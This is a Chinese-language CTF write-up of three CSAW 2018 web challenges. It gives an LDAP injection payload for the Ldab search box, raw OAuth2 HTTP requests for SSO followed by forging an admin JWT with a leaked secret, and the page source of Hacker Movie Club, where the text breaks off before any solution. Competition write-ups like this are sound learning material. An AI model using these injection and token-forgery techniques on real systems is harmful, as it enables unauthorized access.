CSAW 2018 部分web Writeup

CSAW的题目质量相当不错,有一定的难度,有一段时间没有打过CTF了,实力退步的很明显,现在题目环境还没关,继续水一水啦(滑稽.jpg)

如果有对题目了解不深刻的地方,欢迎各位大师傅指出,感激不尽。

Ldab

dab
http://web.chal.csaw.io:8080

默认进来题目有一个搜索框,感觉是和数据库差不多的,打开界面显示如下信息。

OU  CN   SN GivenName   UID 
Employees   pminksy Minsky  Petepminsky
Employees   bharley Harley  Bob bharley
Employees   jross   RossJakejross
Employees   fdawson Dawson  Fredfdawson
Employees   rcave   CaveRobert  rcave
Employees   XerxesHansenHansen  Xerxes  XerxesHansen

感觉就是数据库查询,fuzz了一波发现正常的sql注入不行,只有*可以正常使用

http://web.chal.csaw.io:8080/index.php?search=*

然后根据dab并没有搜到什么有用的东西,不过可以猜测这是一种数据库。

最后根据题目Ldab的提示在stackoverflow中可以搜索到如下清晰的解释

LDAP is a protocol for accessing directories, SQL is a query language for databases.

Both systems store data, but the big difference is: directories (like Active Directory) are tuned towards a lot more reads than writes, e.g. reading information should be very easy, trivial indeed (and offer great performance), while updating can be a bit of a pain. Also: directories are often distributed, e.g. spread across multiple servers/locations, and offer mechanisms to easily replicate read-only data across locations.

SQL databases on the other hand are geared towards a more balanced load of read and write, and thus, writes must also be as easy as possible.

So this boils down to:

if you have data (like user accounts, permissions) that are mostly read (but not very often updated), then a directory sounds like a great solution

if you need to frequently insert new data and update existing data, then a database is much more suited to your needs. Don't try to create an order entry system inside a directory - it's a poor match.....

Those distinctions aren't "absolute" or clear - it's often a judgment call whether to put something into your database, or whether it belongs into a directory.

这样就可以知道这两种都是基于数据库,直接搜索LDAP注入payload。

最后我在这里直接搜索到了payload

如下

*)(uid=*))(|(uid=*

如果有想学ldap的小伙伴,可以参考LDAP基础概念,可以对这道题了解更加深入,不过我感觉大致和sql差不多。

SSO

Don't you love undocumented APIs
Be the `admin` you were always meant to be
http://web.chal.csaw.io:9000
Update chal description at: 4:38 to include solve details
Aesthetic update for chal at Sun 7:25 AM

主界面如下

<h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1>
  <a href="/protected">.</a>
  <!--
  Wish we had an automatic GET route for /authorize... well they'll just have to POST from their own clients I guess
  POST /oauth2/token
  POST /oauth2/authorize form-data TODO: make a form for this route
  --!>

将这几个连接逐个访问

GET /protected
Missing header: Authorization

POST /oauth2/token
incorrect grant_type

POST /oauth2/authorize
response_type not code

并没有获得什么信息,所以关注点就在OAUTH2.0上了。

阮一峰老师这里有对OAUTH2.0的讲述,非常明了。

从阮老师的博客我们可以看到用户的授权模式分为:

授权码模式(authorization code)
简化模式(implicit)
密码模式(resource owner password credentials)
客户端模式(client credentials)

不过根据关键字FULL OAUTH2.0我们可以看到这里的考察点是授权码模式
然后逐步授权的步骤如下

(A)用户访问客户端,后者将前者导向认证服务器。
(B)用户选择是否给予客户端授权。
(C)假设用户给予授权,认证服务器将用户导向客户端事先指定的"重定向URI"(redirection URI),同时附上一个授权码。
(D)客户端收到授权码,附上早先的"重定向URI",向认证服务器申请令牌。这一步是在客户端的后台的服务器上完成的,对用户不可见。
(E)认证服务器核对了授权码和重定向URI,确认无误后,向客户端发送访问令牌(access token)和更新令牌(refresh token)。

可以知道我们第一步就需要获取授权码。然后用自己的服务器接收授权码,在向题目服务器申请令牌,最后在信息不变的情况下再带着信息访问题目主界面。

(A)用户访问客户端,后者将前者导向认证服务器。

response_type:表示授权类型,必选项,此处的值固定为"code"
client_id:表示客户端的ID,必选项
redirect_uri:表示重定向URI,可选项
scope:表示申请的权限范围,可选项
state:表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。

再根据阮老师给出的例子,我构造出如下包

POST /oauth2/authorize HTTP/1.1
Host: web.chal.csaw.io:9000
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 85

response_type=code&redirect_uri=http://188.xxx.xxx.xxx:12345&client_id=theKingOfNight

返回如下

HTTP/1.1 302 Found
Location: http://188.xxx.xxx.xxx:12345?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiJ0aGVLaW5nT2ZOaWdodCIsInJlZGlyZWN0X3VyaSI6Imh0dHA6Ly8xODguMTMxLjEzMi4xMzc6MTIzNDUiLCJpYXQiOjE1MzgzMTYyNjgsImV4cCI6MTUzODMxNjg2OH0.03ghxr6JpS7ivcr8Cldf9fjSmH3TeZcXLryh25C5qSU&state=
Content-Type: text/html; charset=utf-8
Content-Length: 577
Date: Sun, 30 Sep 2018 14:04:28 GMT
Connection: close

Redirecting to <a href="http://188.xxx.xxx.xxx:12345?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiJ0aGVLaW5nT2ZOaWdodCIsInJlZGlyZWN0X3VyaSI6Imh0dHA6Ly8xODguMTMxLjEzMi4xMzc6MTIzNDUiLCJpYXQiOjE1MzgzMTYyNjgsImV4cCI6MTUzODMxNjg2OH0.03ghxr6JpS7ivcr8Cldf9fjSmH3TeZcXLryh25C5qSU&state=">http://188.xxx.xxx.xxx:12345?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiJ0aGVLaW5nT2ZOaWdodCIsInJlZGlyZWN0X3VyaSI6Imh0dHA6Ly8xODguMTMxLjEzMi4xMzc6MTIzNDUiLCJpYXQiOjE1MzgzMTYyNjgsImV4cCI6MTUzODMxNjg2OH0.03ghxr6JpS7ivcr8Cldf9fjSmH3TeZcXLryh25C5qSU&state=</a>.

根据经验,可以知道这是jwt,直接在线解密,不过没什么东西

{
  "client_id": "theKingOfNight",
  "redirect_uri": "http://188.xxx.xxx.xxx:12345",
  "iat": 1538316268,
  "exp": 1538316868
}

在这里就成功获得了code,然后下一步就是获取令牌了,获取token的参数如下:

grant_type:表示使用的授权模式,必选项,此处的值固定为"authorization_code"。
code:表示上一步获得的授权码,必选项。
redirect_uri:表示重定向URI,必选项,且必须与A步骤中的该参数值保持一致。
client_id:表示客户端ID,必选项。

继续参考阮老师给出的代码事例,构造出包。

POST /oauth2/token HTTP/1.1
Host: web.chal.csaw.io:9000
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Content-Length: 330
           grant_type=authorization_code&code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiJ0aGVLaW5nT2ZOaWdodCIsInJlZGlyZWN0X3VyaSI6Imh0dHA6Ly8xODguMTMxLjEzMi4xMzc6MTIzNDUiLCJpYXQiOjE1MzgzMTYyNjgsImV4cCI6MTUzODMxNjg2OH0.03ghxr6JpS7ivcr8Cldf9fjSmH3TeZcXLryh25C5qSU&redirect_uri=http://188.xxx.xxx.xxx:12345&client_id=theKingOfNight

返回如下

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 209
Date: Sun, 30 Sep 2018 14:07:28 GMT
Connection: close
  {"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzODMxNjQ0OCwiZXhwIjoxNTM4MzE3MDQ4fQ.oD1RXTdAC2aTajycWAGw9eRVWbOdK5VG1217Bi8C2bE"}

如果不成功的话,记得重新多做几次,会成功的
这段token解密为

{
  "type": "user",
  "secret": "ufoundme!",
  "iat": 1538316448,
  "exp": 1538317048
}

直接用这段token去访问/protected

HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
Content-Length: 41
Date: Sun, 30 Sep 2018 14:28:27 GMT
Connection: close

You must be admin to access this resource

调整为admin,secret设置为他给的secret

Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzgzMTY0NDgsImV4cCI6MTUzODMxNzA0OH0.PGuObHUu8z7cIQPGvS07gZ5X76C4hKzPrT3UhzKKfK0

然后好像服务器的admin部分崩了??????

Hacker Movie Club

Hacker movies are very popular, so we needed a site that we can scale. You better get started though, there are a lot of movies to watch.

Author: itszn (ret2 systems)

http://app.hm.vulnerable.services/

这个题不错,看起来很厉害(虽然确实也很厉害)...

主界面是这样

Hacker Movie Club
NameYearLength
WarGames19831 Hour, 54 Minutes
Kung Fury   20150 Hours, 31 Minutes
Sneakers19922 Hours, 6 Minutes
Swordfish   20011 Hour, 39 Minutes
The Karate Kid  19842 Hours, 6 Minutes
Ghost in the Shell  19951 Hour, 23 Minutes
Serial Experiments Lain 19985 Hours, 16 Minutes
The Matrix  19992 Hours, 16 Minutes
Blade Runner19821 Hour, 57 Minutes
Blade Runner 2049   20172 Hours, 43 Minutes
Hackers 19951 Hour, 47 Minutes
TRON19821 Hour, 36 Minutes
Tron: Legacy20102 Hours, 5 Minutes
Minority Report 20022 Hours, 25 Minutes
eXistenZ19992 Hours, 37 Minutes

主界面的代码如下(去掉style):

<html>
<head>
<script data-src="mustache.min.js" data-cdn="820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services"></script>
<script data-src="app.js" data-cdn="820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services"></script>
<style>
@import url('https://fonts.googleapis.com/css?family=Orbitron');
<script src="/cdn.js"></script>
<script src='https://www.google.com/recaptcha/api.js?onload=loaded_recapcha&render=explicit'></script>
</body>
</html>

app.js

var token = null;

Promise.all([
fetch('/api/movies').then(r=>r.json()),
fetch(`//820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
new Promise((resolve) => {
if (window.loaded_recapcha === true)
return resolve();
window.loaded_recapcha = resolve;
}),
new Promise((resolve) => {
if (window.loaded_mustache === true)
return resolve();
window.loaded_mustache = resolve;
})
]).then(([user, view])=>{
document.getElementById('content').innerHTML = Mustache.render(view,user);

grecaptcha.render(document.getElementById("captcha"), {
sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
theme: 'dark',
callback: t=> {
token = t;
document.getElementById('report').disabled = false;
}
});
let hidden = true;
document.getElementById('report').onclick = () => {
if (hidden) {
  document.getElementById("captcha").parentElement.style.display='block';
  document.getElementById('report').disabled = true;
  hidden = false;
  return;
}
fetch('/api/report',{
method: 'POST',
body: JSON.stringify({token:token})
}).then(r=>r.json()).then(j=>{
if (j.success) {
// The admin is on her way to check the page
alert("Neo... nobody has ever done this before.");
alert("That's why it's going to work.");
} else {
alert("Dodge this.");
}
});
}
点击收藏 | 0 关注 | 1
登录 后跟帖